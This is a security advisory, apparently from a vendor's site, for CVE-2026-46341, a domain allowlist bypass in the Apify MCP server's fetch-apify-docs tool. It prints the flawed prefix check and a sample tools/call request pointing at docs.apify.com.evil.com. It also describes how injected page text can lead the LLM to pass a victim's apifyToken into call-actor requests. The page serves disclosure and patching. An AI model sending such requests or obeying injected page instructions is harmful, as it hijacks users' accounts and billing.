CVE-2026-46341

Apify Model Context Protocol (MCP) server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching

const isAllowedDomain = ALLOWED_DOC_DOMAINS.some((domain) => url.startsWith(domain));

export const ALLOWED_DOC_DOMAINS = [
    'https://docs.apify.com',
    'https://crawlee.dev',
] as const;

const response = await fetch(url);
// ...
const html = await response.text();
markdown = htmlToMarkdown(html);
// ...
return buildMCPResponse({ texts: [`Fetched content from ${url}:\n\n${markdown}`], ... });

{
  "method": "tools/call",
  "params": {
    "name": "fetch-apify-docs",
    "arguments": {
      "url": "https://docs.apify.com.evil.com/prompt-injection-payload"
    }
  }
}

• Prompt injection via fetched content: Attacker hosts a page at docs.apify.com.evil.com containing LLM instructions. When the tool fetches and returns this content, the LLM may follow the injected instructions.
• Security boundary violation: The allowlist was explicitly designed to restrict fetching to trusted documentation domains. The bypass defeats this intent.
• SSRF (limited): The tool can fetch from attacker-controlled servers, though the primary risk is the content returned to the LLM rather than network access.
• Account compromise via _meta.apifyToken: Injected prompt instructions can direct the LLM to include a specific _meta.apifyToken (the server's per-request token feature) in subsequent call-actor invocations, redirecting billable operations to a victim's account or accessing their private Actors

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2026-46341 has a CVSS score of 6.1 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.21); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2026-46341? CVE-2026-46341 is a medium-severity improper input validation vulnerability in @apify/actors-mcp-server (npm), affecting versions < 0.9.21. It is fixed in 0.9.21. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is CVE-2026-46341? CVE-2026-46341 has a CVSS score of 6.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @apify/actors-mcp-server are affected by CVE-2026-46341? @apify/actors-mcp-server (npm) versions < 0.9.21 is affected.
4. Is there a fix for CVE-2026-46341? Yes. CVE-2026-46341 is fixed in 0.9.21. Upgrade to this version or later.
5. Is CVE-2026-46341 exploitable, and should I be worried? Whether CVE-2026-46341 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-46341 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-46341? Upgrade @apify/actors-mcp-server to 0.9.21 or later.

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